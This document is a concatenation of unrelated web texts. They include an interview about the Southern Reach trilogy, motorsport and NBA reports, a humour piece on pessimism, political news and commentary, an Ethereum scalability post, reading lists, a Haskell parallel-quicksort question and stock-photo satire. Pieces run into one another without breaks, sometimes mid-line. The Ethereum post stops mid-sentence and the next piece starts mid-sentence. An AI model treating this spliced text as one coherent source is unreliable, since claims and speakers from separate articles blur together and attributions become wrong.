The fact that this trilogy came out with FSG is one of those moments of confluence between genre and literary fiction we were talking about before, with the Gibson and the Atwood. It’s created something of a precedent.
I feel very fortunate in that regard. You have to understand, I’ve had certain books that were perfect for a core genre audience, and ones where it was clear to me before they were even sold that they needed to be available, or seen—or not be invisible, at least—to a mainstream literary audience, too. I was pretty adamant about that with this trilogy. And it’s definitely paying off. Annihilation, for example: so far, in the US, it’s already sold well over a hundred thousand copies, and might reach other milestones in the next year. And that’s because they widened their reach.They made it palatable to a general reader that probably doesn’t read science fiction or doesn’t read weird fiction (which, of course, is only because they have a certain… impression of science fiction).
You mentioned Timothy Morton and Hyper-objects. Did you read that before you wrote the book, or is that something that kind of just happened simultaneously and then you found out about it later? Because it’s really quite uncanny how well the idea of the Hyper-object and the inability for us to describe something so vast and unexplainable as nature and climate change applies to Area X and the way people can’t seem to deal with it in the novels.
Let me back up a little bit and say that one of the inspirations for the Southern Reach and especially for Area X is the Gulf Oil Spill. And I mention that because that was it’s own kind of hyper-object. Which is to say that, for those of us who live in Florida and know that coast and fear for it, for environmental catastrophes, when oil was bubbling out and it seemed like they couldn’t stop it, and some people say that it wouldn’t stop for 20 years and the whole Gulf would become just a huge oil spill… that was in our head the entire time, it was basically non-stop spewing out in your head in a very real way, in a very stressful way. I think that my subconscious turned that into “I want to protect that area, that became Area X, this thing with pristine nature and water, surrounded by a border or a wall.” Very literally, I think that’s what my subconscious did and then turned it into a story. So there is that hyper-object of the Gulf Oil Spill that existed in my mind as I was writing. I didn’t encounter Timothy Morton’s actual theory until I read of it in one of the reviews and a light-bulb went off and I was like Wow! And then I read everything I could about the term. I believe very deeply that there are things that are embedded subconsciously in a novel, which when you find out what they are on a conscious level, you need to study them. Then the expression of those ideas, after thoughtful study, will be different in your later fiction.
Right.
It then becomes very exciting for me to study them formally, so to speak. It seems uncanny, sure, except that I also think that most of us are encountering these hyper-objects in our lives, and that just proves that the theory is good, that the term is very accurate. Even a book like William Vollman’s The Imperial, which is about the Salton Sea, a non-fiction book. It’s a very repetitive book, it’s a book that keeps coming back to the same questions and aspect of the Salton Sea—an environmental catastrophe made worse by global warming, and it tries to explain it but just keeps getting stuck on it. And I finally realized that the reason the book is repetitive—why it has some similarities to the problems the Southern Reach agency has when it tries to explore Area X—is because the author has encountered a hyper-object there, too. And he didn’t even probably realize it, but the repetitions are there because he wants to try and understand this thing that has happened, but that’s not really understandable, because it is too vast, too complex. I find this kind of resonance very fascinating.
In terms of philosophy, the Southern Reach trilogy also resonates with what has been going on now with the new theories on how we interpret consciousness, how we have been ascribing consciousness only to those animals who can speak a language.
Right. Most fiction expresses ideas about animal behavior that are 20 or 30 years behind the research—continues to put forward really non-scientific clichés that are actively harmful to our understanding and the mindset necessary to save our ecosystems. Sometimes it’s shocking: the same writers who wouldn’t dream of getting the physics wrong or the anatomy of a family dynamic in a particular social system can’t seem to figure out that animals are more complex than we once thought, and they don’t seem to care.
You’re working on a nonfiction book, that sort of deals with some of these topics, right?
I’ve got around 20,000 words so far. Some of it is based on essays that were published in the site Electric Literature and some of it is unique to the book. It’s essentially about the storytelling we’ve done, both fictional and nonfictional, about our environment, about our natural environments, and of course the key anchor to those environments: animals, and how we view animals. So there is a kind of historical section talking about the different ways that we have approached this, from folk tales and other things, to a section on the present day, in both fiction and science. And then an extrapolative section: what would storytelling look like if we really incorporated this complexity but found a way to turn it into a narrative that’s still coherent, that still speaks to readers, that isn’t too experimental, although I also list some experimental things. So it’s kind of a “what if” book that’s grounded in history and I think it’s different from some other books about global warming out there because of that, because it’s trying to find an organic way to talk about non-fictional and fictional storytelling about what has lead us to global warming, basically. Or what had led us to the attitudes that have allowed us to develop this situation…So, it’s also kind of an indictment of hard-tech, as well, but I tried not to let it become a polemic, it’s more about the creative side of things.
It sounds very interesting.
Maybe. I hope. Whenever I jump off a cliff like this, I never know what’s waiting for me at the bottom, if it’s a finished book or just a mess, so…we’ll see.
Now, I was interviewing a friend of mine, a comic book artist, and he said how he really believes that ideas float around in the air and that creators or artists have better antennae for capturing these idea, to pluck them out of the collective unconscious. It’s ridiculous but it does make some sort of sense.
As comic artists or writers or whatever else, you have to deal with things indirectly to some degree, in order to capture the nuance. That’s a different kind of effect than dealing with them head-on, the way other people have to deal with these problems, which is also a way we have to deal with them collectively. But it does mean that you get these kind of… echoes. So you know, science departments, and scientists in general, are all looking for ways to do better storytelling, which is a huge part of what they are talking about. Global warming is a kind of hyper-object challenge. Scientists are looking at a flood of data and they have to somehow make sense of it, to tell the story of it, for many different groups of people: for the public, or even people from their own institutions who are in different areas of science. And that’s why you see more conferences where you have philosophers, scientists, musicians, fiction writers and others in a common space, where they wouldn’t normally be together. I get a lot of invites to universities where they maybe the science department’s bringing me in to talk about my experience writing Annihilation and what it means to me in terms of global warming and things like that.
People say the first novel in English is probably A Journal of the Plague Year, which is a 1722 book by Daniel Defoe. But that book is also considered the first literary non-fiction book. And that was about an epidemic.
Right, right. [laughs] What’s fascinating about that is that scientists in the 19th century didn’t have that much of a division. We were talking about genre division and mainstream literary fiction, but they didn’t have that much of a division between literature and science in general. You’d have scientists who conveyed their findings in poetry, not to mention the whole tradition of the contes philosophiques. You’d have more generalist storytelling, as well, which is something that you see a move back towards, because to understand this stuff, to try and explain these hyper-objects, you can’t just be off in your own little corner. You know, you need that corner, but you also need a wider understanding. It’s fascinating how all this comes back to different kinds of storytelling about facts.Enaam Ahmed triumphed in a five-car battle for victory in the final race of the BRDC British Formula 3 opener at Snetterton to leave with the standings lead.
Second-place starter Ahmed made a better getaway than poleman Toby Sowery to take the lead and he held onto it until the end.
The Douglas Motorsport driver was never able to break clear of his chasers though. His lead over Sowery was just a quarter of second with two of the 10 laps remaining, and Lando Norris, Matheus Leist and Thomas Randle were all within a second and a half.
Ahmed responded to win by 0.48s, and having improved his results from third to second to first during the weekend’s three races, he leaves Norfolk with a seven-point lead over his fellow 2014 world karting champion and dominant race one winner Norris.
Norris passed race two winner Leist for third on lap three and was immediately onto Sowery’s tail, but he ultimately had to settle for third. While Leist took fourth, Ahmed’s team-mate Randle claimed fifth to complete a strong recovery from damage sustained on the first racing lap of the weekend.
Finn Aleksanteri Huovinen finished close behind Randle in sixth, with Sisa Ngebulana not far behind in seventh.
A more distant eighth was Ricky Collard, who fought his way through from 19th on the grid after his retirement early in race two. Thomas Maxwell struggled for pace after starting fifth and ended up ninth ahead of Ameya Vaidyanathan.Getty Images
It's the UN's International Happiness Day, which is designed to spread love and joy and all that jazz around the world. Which is lovely - in theory. After all, research shows having a sunny outlook attracts more friends and means more opportunities are likely to come your way, having the knock-on effect of fattening your wallet.
In fact, optimists generally get all the luck. ('Which is just typical,' mutters my inner pessimist.) They live longer, achieve more and are healthier. So surely a day devoted to all things smiley is a good thing? Well of course it is - unless, like me, you're a natural-born pessimist.
HOW TO LEAD A STRESS-FREE LIFE
Those of us whose frowns are destined not to be turned upside-down under any circumstances (exceptions include being handed a big slice of cake, a puppy, or a puppy perched on a slice of cake) can find it a bit hard to be reminded that other people breeze their way through life with a big grin, made even wider thanks to the larger pay-packets and better health of the happy.
The one thing that will help me through the day is the firm belief that being a pessimist is actually good for you. When you're convinced a job interview is only going to end in tears, you tend to project an aura of laid-back calm which makes you appear totally in control. First-date nerves evaporate if you concentrate on the months of relationship-based trauma (probably) stretching out ahead of you if things go well. Which they won't.
And expecting the worst means you're totally prepared for anything – I'm the Cosmo office's go-to gal for everything from plasters to safety pins to a portable phone charger with five different attachments. You know, just in case.
Tending to be fairly highly strung when small things go wrong ("WHY OH WHY IS PRET OUT OF BACON BAGUETTES? WAHHHHH!") people are often amazed when the bigger things don't phase me. When I recently stood up in a pub, sending the iPhone perched on my lap crashing to the floor with a screen-shattering tinkle, my friends held their collective breaths.
ACCESSORIES ALL AREAS
They expected me to rend my garments and howl to an unjust God. Instead, I looked at the screen, now neatly divided into 5,000 tiny pieces, muttered 'Bugger,' and put it in my pocket. Because while I can't do anything about Pret running out of bacon baguettes (WHY, PRET, WHY??), I already had a contingency plan for a shattered phone screen. (Even if that plan involved Dodgy Dave's Screen Fixing Emporium.) Dib dib dib.
Studies have also found that pessimists are more likely to lose weight (we know ditching the doughnuts is going to be awful before we even start, which helps us stick to it), have a heightened sense of danger (handy when confronting bears) and deal with stress better.
Okay, so optimists get all the jobs, money, robust good health AND a special day devoted to spreading their innate cheer. But when things go wrong exactly the way we pessimists predicted, we're, like, totally breezy about it. Which is something to smile about. Right?
Follow Rosie on Twitter @MulliesReporters criticized President Obama on Tuesday after he scolded a Washington Post reporter at a White House press conference for shouting out a question.
At the end of a joint press conference Tuesday in the Rose Garden with Italian Prime Minister Matteo Renzi, Obama addressed the refugee crisis taking place in parts of Europe, and the surge of immigrants into the U.S.
After Obama wrapped up his comments on it, Post reporter David Nakamura called out a question regarding Central American migrants flooding into the United States. Obama answered and then sarcastically thanked Nakamura for the question.
"But I appreciate you shouting out a question since I'm sure there are a lot of other colleagues of yours who would want to do the same," Obama said before exiting the garden. "Thank you very much, everybody. Appreciate it."
On Twitter, reporters defended their peer.
In the Dept. of Whining, @POTUS is still doing it, too -- after 8 years -- when @DavidNakamura asks legitimate question in Rose Garden. — Jeff Zeleny (@jeffzeleny) October 18, 2016
"In the Dept. of Whining, [Obama] is still doing it, too — after 8 years — when Nakamura asks legitimate question in Rose Garden," said CNN's Jeff Zeleny, referring to Obama having just made a comment about Republican Donald Trump "whining" over the election.
For the record, no, @DavidNakamura's colleagues don't begrudge his shouted question — Mike Memoli (@mikememoli) October 18, 2016
Los Angeles Times reporter Mike Memoli said, "For the record, no, Nakamura's colleagues don't begrudge his shouted question."
It's not the first time Obama has complained to a reporter for shouting out a question. In 2012, conservative reporter Neil Munro, then with the Daily Caller, called out to Obama regarding an announcement he was making about an executive action on immigration.
"Excuse me, sir, but it's not time for questions," Obama said to Munro. "Not while I'm speaking." He told Munro that "next time I'd prefer you'd let me finish my statement before you ask that question."A 27-year-old man found naked at an apartment complex Friday afternoon was taken to the hospital because he was on an LSD trip, Athens-Clarke County police said.
Someone living at the complex called 911 about 4:20 p.m., to report the naked man was lying in a fetal position near the tennis courts, according to police.
The caller told police the man was in sight of numerous people, including children getting off a school bus.
The name of the apartment complex had been redacted from the police report released Monday.
Police said that after the man was taken by ambulance to St. Mary's Hospital, they found his roommate, who said both residents took five doses of LSD.
The roommate declined to be checked out by EMS personnel, and after telling him the dangers associated with taking LSD, police told him to call 911 if he became in need of assistance.First they came for the inmates' cash....
Apparently, the prevarications and base tactics of anti-cash fanatics know no bounds. In an announcement in May that garnered very little mainstream press coverage, the Danish government stated its intention to ban cash from its largest prisons. The ostensible reason, according to Justice Minister Soeren Pape Poulsen, is that "there is a risk that people in criminal circles exploit their friends' incarceration to hide money." Forcing inmates to pay for purchases electronically will make it "easier to follow the money flow in and out." So let's get this straight. The Danish government actually believes that it is more likely that inmates' unincarcerated cronies will show up en masse and hand over wads of krone to stash in a government prison than that the inmates will figure out a way to use the electronic payments devices to contact and scheme with these cronies to commit more crimes. Of course government officials do not believe this nonsense. The real point of the measure is to reinforce the link between cash and criminality in the public mind so that citizens are more amenable when the day comes that their own cash is seized by government.Nico Rosberg beat Lewis Hamilton to the finish line at the Spanish Grand Prix on Sunday
Formula 1 drivers will take the unusual step of surveying fans as Bernie Ecclestone and other key figures explore ways of spicing up the sport.
With Mercedes once again dominating this season as Lewis Hamilton and Nico Rosberg fight for supremacy, F1 is under fire for lacking excitement.
Ecclestone and co are already contemplating rule changes for 2017.
But drivers have decided to take matters into their own hands by asking fans what they would do.
They intend to use social media to canvass views on a wide range of issues - technical, commercial, audience behaviours, etc - even asking fans whether F1 should be viewed as sport or entertainment.
The Grand Prix Drivers' Association, chaired by former F1 driver Alexander Wurz, discussed the idea at the Spanish Grand Prix and plan to launch the survey over the Monaco race weekend, from 20 to 24 May.
Bernie Ecclestone controls all commercial rights that are signed to Formula One
Whether it has any impact is another matter.
Unlike most businesses, F1 rarely asks consumers for feedback.
Instead, ideas for change tend to be generated internally, on the basis of what senior figures believe is the best approach.
A number of F1's most influential figures, including commercial supremo Ecclestone, are concerned about falling television audiences.
Last year, numbers dropped in Germany and Italy, for example, but stayed stable and even increased in other countries, such as the United Kingdom and the United States.
Ecclestone and members of F1's rule-making strategy group of leading teams will meet the motorsport's world governing body, the FIA, on Thursday to discuss ideas for 2017 onwards.
David Coulthard, BBC F1 co-commentator "In my view, the current era of F1 should always be pretty much the fastest period of the sport in history... Yet in F1 the cars are several seconds slower than they were 10 years ago."Read how ex-F1 driver Coulthard thinks the sport could be improved
They will consider whether to make cars faster and more dramatic-looking as well as make tyres grippier and wider at the rear.
Some insiders feel the current Pirelli tyres, which are designed to degrade quickly to promote more pit stops, are causing some of F1's problems, because drivers have to drive within themselves in races to ensure the tyres do not wear out excessively.
Red Bull driver Daniel Ricciardo is keen on the move
Pirelli's contract runs out at the end of 2016 and the FIA will conduct a full tender process to find the next tyre supplier, with French company Michelin, held in high regard by the F1 teams, considering a bid.
However, senior figures have told BBC Sport that Ecclestone is determined to stick with Pirelli because it pays so much money to buy trackside advertising. The figure is said to be $40m (£27m) a year.Scalability is now at the forefront of the technical discussion in the cryptocurrency scene. The Bitcoin blockchain is currently over 12 GB in size, requiring a period of several days for a new bitcoind node to fully synchronize, the UTXO set that must be stored in RAM is approaching 500 MB, and continued software improvements in the source code are simply not enough to alleviate the trend. With every passing year, it becomes more and more difficult for an ordinary user to locally run a fully functional Bitcoin node on their own desktop, and even as the price, merchant acceptance and popularity of Bitcoin has skyrocketed the number of full nodes in the network has essentially stayed the same since 2011. The 1 MB block size limit currently puts a theoretical cap on this growth, but at a high cost: the Bitcoin network cannot process more than 7 transactions per second. If the popularity of Bitcoin jumps up tenfold yet again, then the limit will force the transaction fee up to nearly a dollar, making Bitcoin less useful than Paypal. If there is one problem that an effective implementation of cryptocurrency 2.0 needs to solve, it is this.
The reason why we in the cryptocurrency spaceare having these problems, and are making so little headway toward coming up with a solution, is that there one fundamental issue with all cryptocurrency designs that needs to be addressed. Out of all of the various proof of work, proof of stake and reputational consensus-based blockchain designs that have been proposed, not a single one has managed to overcome the same core problem: that every single full node must process every single transaction. Having nodes that can process every transaction, even up to a level of thousands of transactions per second, is possible; centralized systems like Paypal, Mastercard and banking servers do it just fine. However, the problem is that it takes a large quantity of resources to set up such a server, and so there is no incentive for anyone except a few large businesses to do it. Once that happens, then those few nodes are potentially vulnerable to profit motive and regulatory pressure, and may start making theoretically unauthorized changes to the state, like giving themselves free money, and all other users, which are dependent on those centralized nodes for security, would have no way of proving that the block is invalid since they do not have the resources to process the entire block.
In Ethereum, as of this point, we have no fundamental improvements over the principle that every full node must process every transaction. There have been ingenious ideas proposed by various Bitcoin developers involving multiple merge-mined chains with a protocol for moving funds from one chain to another, and these will be a large part of our cryptocurrency research effort, but at this point research into how to implement this optimally is not yet mature. However, with the introduction of Block Protocol 2.0 (BP2), we have a protocol that, while not getting past the fundamental blockchain scalability flaw, does get us partway there: as long as at least one honest full node exists (and, for anti-spam reasons, has at least 0.01% mining power or ether ownership), “light clients” that only download a small amount of data |
more than The Life-Changing Art of Tidying Up — you can’t take a spotless house with you, after all. Add some of these insightful examinations of life’s end, and what comes after, to your reading list.
Simon & Schuster
“Playing Dead,” Elizabeth Greenwood
Elizabeth Greenwood sees no end to her staggering student debt — which leads to an obsession with pseudocide, or faking one’s own death. Instead of vanishing off the map, however, she consults a bevy of experts, insurance claim investigators, and people who’ve managed to pull it off (at least, for a few years). What emerges is an odd, fascinating study of a topic few have direct experience with, and an investigation of the factors that motivate a person to disappear.
W. W. Norton
“Smoke Gets in Your Eyes,” Caitlin Doughty
It’s not unusual to not want to think too much about death: It is the definition of morbid, after all. As a mortician, Caitlin Doughty is confronted with death, and all its somewhat banal realties, on a near daily basis. Her experience with bodies whose souls have since departed is a humanizing and often entertaining look at what it means to die, looking an uncomfortable topic right in the eye.
Penguin
“The American Way of Death,” Jessica Mitford
Barring anything else, pulling out this puppy on the subway is probably a good way to ensure no one bugs you. Jessica Mitford’s 1963 investigation into the U.S. funeral industry — spurred by rising costs, which are probably only more insane today — highlights the shady practices some undertakers used on grieving families, shaking them for all the money they could get. Mitford’s style is clever and straightforward, and there’s a 1996 update, if you’re really interested. But we prefer the O.G. version.
W. W. Norton
”Spook,” Mary Roach
From Gulp to Bonk, Mary Roach’s simply titled forays into different aspects of science always ensure an engaging, illuminating read. Spook is perfect for the chillier fall months, when a creak in your house could just be the heat turning on... or a ghostly presence? In this book, Roach places her lens on the afterlife, if it exists at all.
Liveright
“Severed,” Frances Larson
This historical look at decapitation makes no bones about its dark subject matter — the subtitle to anthropologist Frances Larson’s book is “A History of Heads Lost and Heads Found.” But disembodied skulls aren’t merely gruesome; they’re a fascinating and weird part of history that Larson deftly explores. The information and stories about headhunting, grave-robbing and the real Madame Tussaud (who made death masks molded after the heads of Robespierre and Louis XVI) will prepare you before the next spooky trivia night at the bar.
Simon & Schuster
”The Death Class,” Erika Hayasaki
Journalist Erika Hayasaki wanted to find out why a New Jersey college’s class called “Perspectives on Death” had a three-year waiting list. She investigates the course, taught by a nurse and professor who takes students to hospitals, cemeteries, prisons and other places where life is put into stark examination to explore the meaning of the end. This book shifts the traditional morbidity surrounding death to a discussion on what it means to live when confronted with a finite timeline.
Penguin
”Body of Work,” Christine Montross
Cadavers have been used to aid medical students for centuries, with good reason. You wouldn’t want your doc to cut you open without having some first-hand knowledge about where all those squishy organs, veins, nerves, etc., are supposed to go, no? Still, the experience of working with a dead body for the first time is an unusual one. Then-first-year medical student Christine Montross was surprised at the connection and curiosity she felt toward her assigned cadaver, called Eve. What follows is an interesting meditation on the history of cadavers and the uses our bodies have long after our last breath.
Beacon Press
”The Good Death,” Ann NeumannBuilders have been busy constructing new houses over the past year or so in places like Calgary and Regina thanks to plans put in motion when oil prices were sharply higher.
Unfortunately for them, those new homes are being finished just as work is drying up and job seekers are moving away from Alberta and Saskatchewan, a trend that is already denting real estate values in both provinces.
“In other words, look for continued home price declines [in those regions],” Robert Kavcic, an economist at Bank of Montreal says.
MORE: Already lofty home prices in Vancouver and Toronto continue to surge
Those who are moving away from oil-producing regions are landing in cities where prospects are better – namely Vancouver and Toronto — something Kavcic says will keep pressure up on already lofty home prices in those cities this year.
“The two cities that have been the biggest concern for housing bears will continue to benefit from strengthening job prospects, improving population trends and mortgage rates that are lower than they otherwise would have been had oil prices not collapsed,” he said.
Benchmark home prices in December fell in both Calgary and Regina by low-single digits, which look positively tame compared to the still-blistering growth witnessed in the Vancouver and Toronto areas.
“The real estate correction is already happening – just not where most expected,” Kavcic said.
MORE: Toronto Real Estate Board predicts homes sales to soar in 2016With his new book, Commitment due to be realised on the 19th November, sections of Didier Drogba’s autobiography are being revealed to the press.
The Daily Mail are reporting on a number of quotes from the book where the Ivorian speaks about the possibility of leaving Chelsea during his first couple of seasons in London and how he did not even know who John Terry was when he first signed for Chelsea.
The charismatic striker joined Chelsea in 2004 for a massive £24m from the French side, Marseille after some breathtaking displays in the Europa League, then named, the UEFA Cup.
During his early Chelsea career, Drogba’s adaptation to the Premier League from the Ligue 1 was anything but smooth. The striker was accused of diving and wasn’t immediately among the goals. In the book, he recalls his first days of training:
I noticed a tall, strong guy who looked so young, and who walked and carried himself in such a way that I assumed he was from the reserves. That’s interesting, I thought. They’ve obviously brought him over to get a bit of senior squad experience. Towards the end of the session I asked another player who the young guy was. It’s the captain! he replied, laughing. John Terry. That’s how little I know about the team – I hadn’t even recognised their new young captain!
Drogba reveals how Frank Lampard urged him to stay after a bumpy start, via a text message! The text read:
Hi DD, I hope that you’re staying, because we have to win the league together, and we have to win the Champions League together!
Fernando Torres was the man Chelsea wanted to replace Didier Drogba as he entered his older years, the Spaniard failed to do so. Drogba says the stature of Chelsea hindered Torres:
With all due respect to Liverpool, at that club, Steven Gerrard and Fernando Torres had been the kings. At Chelsea, there were twenty-two kings.
Finally, Drogba reveals how the Chelsea players took control on route to the 2012 final against Bayern Munich and Jose Bosingwa decided who was playing where!
The manager was telling Branislav Ivanovic to play centre back but Jose Bosingwa said, No, no, I will play centre back, and carried on to say where he thought others should play.CLEVELAND — One way the Raptors hope to get back into this second round series with the Cleveland Cavaliers is by being a lot more physical with the defending NBA champions.
The thinking is Cavs not named Tristan Thompson don’t enjoy slogging it out in the trenches or being involved in 1990s-style NBA games (think Miami Heat vs. New York Knicks). LeBron James, in particular, often makes a big production whenever an opponent has the temerity to put a hand on him. Despite his size and strength, James would rather play a skill game.
The Raptors know that and intended to let him know he was in for a tough series, but it just simply did not happen in Game 1.
P.J. Tucker, probably the most physical of the Raptors, gave an honest answer when asked if referees make it more difficult to go that route on James.
“Yeah, I mean, it’s part of the game. Some players get better whistles than others, it’s the truth,” Tucker told Postmedia.
“You’ve got to be careful, watch spots, especially in open situations (as in when your man has the ball or you are near the referees), where, you are probably going to get calls. Other situations you can be more physical. It’s the game,” he said.
Tucker said the Raptors must do a better job of bothering the Cavs by getting closer to them, without fouling.
“We’ve got to get into the ball better … More than anything, it’s get out on the shooters, we gave them a lot of open shots and we’ve got to get out there,” Tucker said.
FACING THE CHALLENGE
The old saying goes that to be the best, you’ve got to first beat the best.
So the Raptors don’t buy into the idea that it’s a bad thing to face Cleveland now, instead of in the conference final. They figure they’ll have to beat them at some point anyway, might as well try.
“To win a championship, you’re going to have to play great teams,” Cory Joseph explained earlier this week.
“Everybody’s made it to the playoffs for a reason. It’s going to be tough basketball. They’re a great team and the defending champs and they’re going to be the defending champs until somebody — hopefully we — can knock them off.”
Joseph was on a Spurs team that beat James and the Miami Heat at the Finals, but has also fallen to James-led groups twice, including that heartbreaking year Ray Allen hit his miracle shot with the Spurs seconds away from a championship.
FAMILIAR FACE
In addition to all of the returning players from last year who faced James in the East final, Toronto has another player quite familiar with James in Serge Ibaka. Ibaka and the Oklahoma City Thunder played the Miami Heat in 2012, winning the opener at home, before dropping four straight as James won his first title. Only stars Kevin Durant, Russell Westbrook and James Harden played more minutes in that series than Ibaka, who averaged seven points, two blocks and 5.2 rebounds. Ibaka shot a disappointing 42% from the field and four Thunder players averaged more rebounds. The Raptors will need a lot more from Ibaka, who is older, wiser and more talented now than he was as a 22-year-old with little NBA experience.
Cavs forward Kevin Love said Ibaka gives the Raptors a “different dynamic” and will help the team in the series because of all the big games he has played in.
Ibaka made the mistake of challenging James back in 2012, saying he wasn’t that good of a defender. James responded by saying Ibaka was trying to bait him and then called him “an idiot.”
GETTING PREPARED
In practice on Tuesday the Raptors had their brigade of youngsters impersonating the Cleveland starters. Energetic forward Pascal Siakam wore a green, No. 23 jersey and was playing the role of LeBron James, Lucas Nogueira was Kevin Love, Jakob Poeltl was Tristan Thompson, Fred VanVleet was Kyrie Irving and Bruno Caboclo was J.R. Smith.
TOP OF THE WORLD
VanVleet is having a pretty good run the past few weeks. Though he likely won’t see much action during the series, he is getting an up-close look at a key playoff series and just won an NBA Development League title with Raptors 905.
VanVleet had 28 points and 14 assists in the winner-take-all final.
“The good thing about it is it wasn’t a surprise, you kind of knew going in, go down, take care of business and come right back up,” VanVleet said of rotating between the Raptors and the Mississauga squad.
“It was like they dropped the first game and I was kind of thrown down there as a reinforcement. That was my mindset to go in and win the series and come right back.”
VanVleet was extremely complimentary of the 905 players for accepting the arrival of the NBA players without “ego” and of the coaching staff, led by Jerry Stackhouse.
AROUND THE RIM
James has 16 playoff games with at least 35 points and 10 rebounds and a victory, six behind Shaquille O’Neal for the most since 1984. Hakeem Olajuwon did it 11 times, Michael Jordan 10 … Toronto has lost 10 straight series opening games, breaking a tie with Sacramento (1981-2001) for the longest streak in NBA history … Cleveland has shot 51.5% in three home playoff games this year, 43% on the road and averaged 23.7 assists at home, just 17 on the road.I have got this seemingly trivial parallel quicksort implementation, the code is as follows:
import System.Random import Control.Parallel import Data.List quicksort :: [a] -> [a] quicksort xs = pQuicksort 16 xs -- 16 is the number of sparks used to sort -- pQuicksort, parallelQuicksort -- As long as n > 0 evaluates the lower and upper part of the list in parallel, -- when we have recursed deep enough, n==0, this turns into a serial quicksort. pQuicksort :: Int -> [a] -> [a] pQuicksort _ [] = [] pQuicksort 0 (x:xs) = let (lower, upper) = partition (< x) xs in pQuicksort 0 lower ++ [x] ++ pQuicksort 0 upper pQuicksort n (x:xs) = let (lower, upper) = partition (< x) xs l = pQuicksort (n `div` 2) lower u = [x] ++ pQuicksort (n `div` 2) upper in (par u l) ++ u main :: IO () main = do gen <- getStdGen let randints = (take 5000000) $ randoms gen :: [Int] putStrLn. show. sum $ (quicksort randints)
I compile with
ghc --make -threaded -O2 quicksort.hs
and run with
./quicksort +RTS -N16 -RTS
No matter what I do I can not get this to run faster than a simple sequential implementation running on one cpu.
Is it possible to explain why this runs so much slower on several CPUs than on one? Is it possible to make this scale, at least sub linearly, with the number of CPUs by doing some trick?
EDIT: @tempestadept hinted that quick sort it self is the problem. To check this I implemented a simple merge sort in the same spirit as the example above. It has the same behaviour, performs slower the more capabilities you add.Moon, worn thin to the width of a quill,
In the dawn clouds flying,
How good to go, light into light, and still
Giving light, dying.
-Sara Teasdale
This piece was my first attempt at making a complete painting in SAI. You may have seen practice doodles on here and on tumblr, but it was time to start this journey of painting and see where I stand. After many hours, probably ranging close to 24 during this whole week, through trial and (countless) errors I have produced this. I am absolutely amazed by how quickly I caught on and what the outcome is. I learned so much by doing this in both trying to make a style and how to paint. There are still plenty of things I can learn and will like to improve upon, particularly with her goat horns and making metal have a more polished look. You might also know that I love detailing eyes, so I really tried to make them shine just as much in a painting style.
This AU Nightmare Moon was created by both myself and DragonaDeMetal.
This piece was revisited 6 months later and can be found here:Stock photography is one of my favorite things about the internet. It's so corny and mysterious and strangely telling—like this weird mirror universe where everyone wears the same camisole and eats yogurt all day with confused white babies. It's like a window into Heaven for the most boring person in the world.
Because stock photos trade in generalities, specificity is financial suicide. And without specificity, people can't be people—we can only be groups. Women can't work on cars without being either sexy or stupid. Fat people can only do fat-related things, like be frustrated about shopping, or not fit into a pair of jeans. In stock photography, there can't be any backstory required, because if the photo comes with its own story it's useless in the marketplace. A photo needs to be as vague as possible, and play into the stories that people already know. Unfortunately, the stories that most people know are the old, fucked-up ones, which means that stock photos tend to reinforce some not-awesome cultural norms (and invent some totally bananas new ones). Hilarity ensues.
I decided to dig around and find out what stock photography has to say about me, the modern woman. I learned so much about myself, you guys! Mainly I learned that I need to cut out this blogging shit and GO DO SOME YOGA RIGHT NOW.
Monday, 7:00 am. I wake up in my completely white bed. Everything in my house is white, including me.
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Monday, 7:05 am. Screw you, alarm clock!
Monday, 7:23 am. Time to get dressed! All of my clothes are white, except on my "cheat days," when I wear very very light blue even though it kind of makes me feel like a whore.
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Monday, 7:45 am. For breakfast, i eat piles of fruit. Piles and piles of fruit. I FUCKING LOVE FRUIT, YOU GUYS.
Monday, 7:46 am. MUG TIME!!!!!
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Monday, 8:05 am. This is the part where I do yoga for four days straight. I love yoga more than my own family. It's totally like the fruit of activities.
Friday, 8:05 am. After yoga I head to the office, where my job is being confused near some papers. On Tuesdays and Thursdays I make sure to shrug dramatically at my laptop.
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Friday, 6:00 pm. After dinner (which, as we all know, is the world's most hilarious salad), I spend a few hours experiencing an extremely unconvincing stomach ache.
Friday, 8:00 pm. Gleeful jumping.
Friday, 10 pm. Then it's my very, very sexy bedtime.Besides, there is no love lost between the Israeli prime minister and Obama’s aides, Rahm Emanuel and David Axelrod — ever since Bibi obnoxiously labeled them “self-hating Jews” last summer.
The president and his inner circle are appalled at Israel’s self-absorption and its failure to notice that America is not only protecting Israel from Iran, fighting wars in Iraq and Afghanistan, but also dealing with a miasma of horrible problems at home. And Israel insults the Obama administration over a domestic zoning issue that has nothing to do with its security?
“That’s not how you treat your best friend,” said one Obama official.
During the campaign, Obama told The Atlantic’s Jeffrey Goldberg that “being a friend to Israel is partly to hold up a mirror and tell the truth,” to save them from themselves when they mindlessly let settlement gluttony scuttle any chance of peace.
Photo
After it was reported two weeks ago that Israel planned 600 other homes in East Jerusalem, Prince Saud al-Faisal, the Saudi foreign minister, warned me that Israel’s ultra-conservative religious groups were “killing every option that comes out that has peace in its objective.”
For the fundamentalist rabbis who run Israel’s working-class, ultra-Orthodox Sephardic Shas Party, the new houses represent earmarks. But it’s one thing to put earmarks in the budget and another to foment a crisis between Israel and its benefactor over them.
“It’s not entirely clear to me that the Shas Party knows who Joe Biden is or cares,” Jeffrey Goldberg told me.
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“They have very narrow theological interests that don’t conform to the theological interests of American Jews,” he continued. “The high-tech entrepreneurs of Tel Aviv relate to the Shas Party about as well as the Jews of the Upper West Side relate to the Tea Party. The Shas Party is not overly attuned to the American-Israel relationship or the peace process.”
Goldberg also points out that “what most right-wing Israelis don’t understand is that even American Jews — especially the nearly 80 percent who voted for Obama — disaggregate what is in the best interest of Israel from what is in the best interest of the settlers.”
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Obama knows that Jews no longer speak with one voice. That gives him enough room to keep the heat on Netanyahu. But the president’s smackdown also obscures the fact that the administration has no real strategy for peace and no impressive team below Hillary and Biden pushing for peace.
Arab leaders groused to me that Obama has gotten so weighed down by problems at home that he has lost the thread of his promises abroad.
In his Atlantic blog, Goldberg suggests that Obama’s ulterior motive is to drive out the ultra-conservatives and force a rupture in the governing coalition that will make it necessary for Netanyahu to take Tzipi Livni ’s Kadima Party into his government, thus creating a “stable, centrist coalition” that could work for peace.
Netanyahu is taking his time-out in an Israel where many citizens and columnists are embarrassed by his behavior. Yet Post-Biden, the government is acting petulant and is inviting construction on more new homes in northeast Jerusalem. Perhaps Bibi will have the good sense to realize the Biden insult was a bit more than “regrettable,” as he tepidly put it. He may remember that the two most important things to Israel should be a security doctrine that prevents a neighboring adversary from getting a nuclear weapon and cherishing the relationship with America — rather than zoning and earmarks.
